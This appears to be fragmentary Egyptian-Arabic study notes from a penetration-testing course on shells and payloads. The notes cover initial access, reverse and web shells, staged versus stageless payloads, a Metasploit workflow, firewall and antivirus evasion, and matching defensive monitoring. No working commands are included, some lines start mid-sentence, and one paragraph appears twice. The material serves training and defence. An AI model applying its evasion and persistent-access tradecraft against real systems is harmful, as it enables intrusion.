| Initial Access | محاولة الدخول الأول عن طريق اختراق جهاز أو خدمة مكشوفة (تطبيق ويب، خدمة misconfigured زي SMB أو بروتوكولات authentication، أو ثغرة في جهاز مكشوف). غالبا بيحصل على bastion host ويدي foothold في الشبكة، لكن مش وصول كامل. |
| Execution | كود بيتم حقنه وتشغيله على جهاز الضحية. الموديول ده بيركز على التكتيك ده: payloads، طرق توصيل، وحلول shell scripting. من تنفيذ أوامر في المتصفح على تطبيق ويب، لـ PowerShell one-liner عبر PsExec، لاستغلال ثغرة معروفة أو zero-day مع إطار زي Metasploit، لرفع ملف واستدعائه عن بعد لاستقبال callback. |
| Command & Control | الـ C2 هو ذروة الشغل: تدخل الجهاز وتعمل وسيلة وصول مستمر وتفاعلي، وتستخدمها لتنفيذ أهدافك في شبكة الضحية. الشائع استخدام بورتات وبروتوكولات مسموحة: HTTP/S، DNS، NTP، وحتى تطبيقات مسموحة زي Slack أو Discord أو MS Teams. مستويات التعقيد بتختلف من Netcat واضح (clear text) لحد بروتوكولات مشفرة وobfuscated مع proxies وredirectors وVPNs. |
whoami؟ بيتصل بـ share على جهاز تاني؟ أفعال بسيطة زي دي بتبان.اكتشاف الشلات والـ payloads محتاج فهم دقيق للأنظمة والشبكة. أدوات زي Cisco Meraki وUbiquiti وCheck Point بتوفر مراقبة وNetFlow، لكن الأهم إنك تعرف تقرأ اللي بيطلع منها.
لو الـ payload اتنفذ بنجاح، مش بالضرورة هيبان في الـ logs العادية، لكن الترافيك هيبان.
net لإنشاء مستخدم جديد (صورة الموديول).ده مثال ممتاز على تنفيذ أوامر واضح (clear text) ممكن يتكشف بسهولة لو الشبكة مشفرة أو الـ NetFlow متظبط. وده بيوصلنا لموضوع حماية الأجهزة الطرفية والـ antivirus.
الأجهزة الطرفية هي اللي على آخر الشبكة:
الأجهزة دي أولوية في الحماية، خصوصا اللي عليها بيانات حساسة. على Windows، Windows Defender (Windows Security) هو خط الدفاع الأول ضد الـ payloads المعروفة.
الدفاع متماشي مع الهجوم: reverse shell محتاج اتصال خارج، web shell محتاج ملف مرفوع، payload محتاج تنفيذ. كل خطوة في السلسلة دي ليها نقطة مراقبة: سجلات رفع الملفات، NetFlow، مراقبة العمليات، وأقل صلاحيات ممكنة. والحمايات دي مش نهاية المطاف، المهاجم بيكملها ويعديها، فالتحديث والمراقبة المستمرة جزء من الشغل.
الشل = وصول. الـ payload = الكود اللي بيوصلك للوصول ده. الموديول كله بيلف حول الاتنين: إزاي تعملهم، وإزاي توصلهم للهدف، وإزاي تفضل مخفي.
قبل أي shell، اسأل: إيه الـ interpreter الموجود على الهدف؟ (Bash؟ cmd؟ PowerShell؟) الإجابة بتحدد كل الأوامر اللي هتكتبها.
reverse shell = الهدف بيتصل بينا. بنستخدم بورت شائع (443/80) عشان نعدي الـ firewall، والـ AV هيمسك الـ payloads المعروفة، فمحتاج تشفير أو obfuscation أو payload مخصص.
الـ one-liner هو سلسلة خطوات صغيرة: افتح اتصال، اقرأ الأمر، نفذه، رجع النتيجة. فهم السلسلة دي هو اللي يخليك تبني payload بنفسك بدل ما تحفظ أمر.
staged = stager صغير + stage كبير. stageless = ملف واحد. الـ stageless أسهل في التوصيل وأكبر في الحجم؛ الـ staged أخف في البداية بس محتاج اتصال مستقر.
الترتيب اللي بيشتغل: enumerate، افحص بـ auxiliary check، اختار exploit وpayload، اضبط الخيارات، تحقق بـ show options، نفذ، وادخل شل النظام. نفس الترتيب في أي مهمة.
مفيش لغة واحدة: bash، perl، ruby، lua، awk، find، vim كلهم بيفتحوا شل. دور على اللي موجود على النظام، واتأكد من صلاحيات التنفيذ.
web shell = shell في صورة صفحة ويب. بيدخل من بورت 80/443، فبيعدي الـ firewalls، وبيتحفظ على السيرفر طول ما الملف موجود.
الدفاع متماشي مع الهجوم: reverse shell محتاج اتصال خارج، web shell محتاج ملف مرفوع، payload محتاج تنفيذ. كل خطوة في السلسلة دي ليها نقطة مراقبة: سجلات رفع الملفات، NetFlow، مراقبة العمليات، وأقل صلاحيات ممكنة. والحمايات دي مش نهاية المطاف، المهاجم بيكملها ويعديها، فالتحديث والمراقبة المستمرة جزء من الشغل.